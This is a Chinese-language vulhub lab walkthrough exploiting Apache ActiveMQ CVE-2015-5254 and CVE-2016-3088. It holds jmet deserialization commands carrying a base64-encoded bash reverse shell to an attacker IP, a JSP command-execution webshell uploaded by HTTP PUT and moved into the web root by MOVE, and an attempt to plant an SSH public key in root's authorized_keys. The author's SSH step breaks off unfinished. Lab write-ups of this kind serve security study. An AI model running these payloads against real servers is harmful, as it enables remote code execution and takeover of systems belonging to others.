AvtiveMQ简介
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。
ActiveMQ详解文章链接——消息中间件ActiveMQ链接
ActiveMQ有两个端口:
web管理端口 | 工作(消息传递)端口 |
---|---|
8161 | 61616 |
CVE-2015-5254反序列化漏洞
漏洞原理:
该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码
影响版本: Apache ActiveMQ 5.x —— 5.13.0
漏洞复现:
进入靶场目录
cd ./CVE-2015-5254
启动环境
docker-compose up -d
查看启动环境
docker-compose ps
访问8161端口
我的vulhub搭在了kali里面,这里用物理机直接访问kali地址:端口号
靶机地址:192.168.102.8
攻击机kali地址:192.168.102.130
点击进入管理页面登陆,默认用户名/密码:admin/admin
换了个浏览器…因为之前那个自动登陆了
使用jmet工具构造可执行命令的序列化对象
下载链接 https://github.com/matthiaskaiser/jmet/
1、发送消息 创建文件夹 /tmp/success
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “touch /tmp/success” -Yp ROME 192.168.102.8 61616
可以看到消息成功发送到了中间件,漏洞可以利用
反弹shell
bash -i >& /dev/tcp/192.168.102.130/45678 0>&1
进行base64编码:
YmFzaCAtaSA+JiAgIC9kZXYvdGNwLzE5Mi4xNjguMTAyLjEzMC80NTY3OCAwPiYx
jmet执行命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y “bash -c {echo,YmFzaCAtaSA+JiAgIC9kZXYvdGNwLzE5Mi4xNjguMTAyLjEzMC80NTY3OCAwPiYx}|{base64,-d}|{bash,-i}” -Yp ROME 192.168.102.8 61616
可以看到web管理页面event 数量变成2
攻击机监听45678端口
点击消息触发命令执行
可以看到成功反弹
CVE-2016-3088任意文件写入漏洞
漏洞原理:
该漏洞出现在fileserver应用中,漏洞原理:ActiveMQ中的fileserver服务允许用户通过HTTP PUT方法上传文件到指定目录。Fileserver支持写入文件(不解析jsp),但是支持移动文件(Move)我们可以将jsp的文件PUT到Fileserver下,然后再通过Move指令移动到可执行目录下访问。
影响版本: Apache ActiveMQ 5.x —— 5.14.0
漏洞复现:
切换到漏洞目录:
启动靶场环境,并查看
docker-compose up -d
docker-compose ps
可以正常访问
利用方式一:
通过PUT方法上传cmd小马,利用MOVE方法移动到可执行目录下,调用马,可以执行任意命令
访问一下,抓个包
PUT /fileserver/test.txt HTTP/1.1
Host: ip:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
<%@ page import="java.io.*"%>
<%
out.print("Success!</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>
返回,写入成功
用MOVE方法移动到可执行目录下(api或者admin都行)
MOVE /fileserver/test.txt HTTP/1.1
Destination:file:///opt/activemq/webapps/admin/test.jsp
返回204,成功移动
访问一下,成功执行命令whoami
利用方式二:
写入ssh公钥,实现ssh免密登陆
1、生成密钥对
ssh-keygen -t rsa
在.ssh目录下查看公钥
cat d_rsa.pub
PUT上传公钥
MOVE移动到/root/.ssh/并重命名为authorized_keysd
MOVE /fileserver/id_rsa.pub HTTP/1.1
Destionation:file:///root/.ssh/authorized_keys
这里遇到了一个问题,怎么也移动不了,返回500错误
进入容器查看,公钥写入成功
好了,下面开始步步维艰了
查资料是,docker容器要安装sshd服务环境
apt-get install openssh-server
报错,
用了apt-get update和apt-get upgrade都不行
倒腾大半天,后续再看吧,心累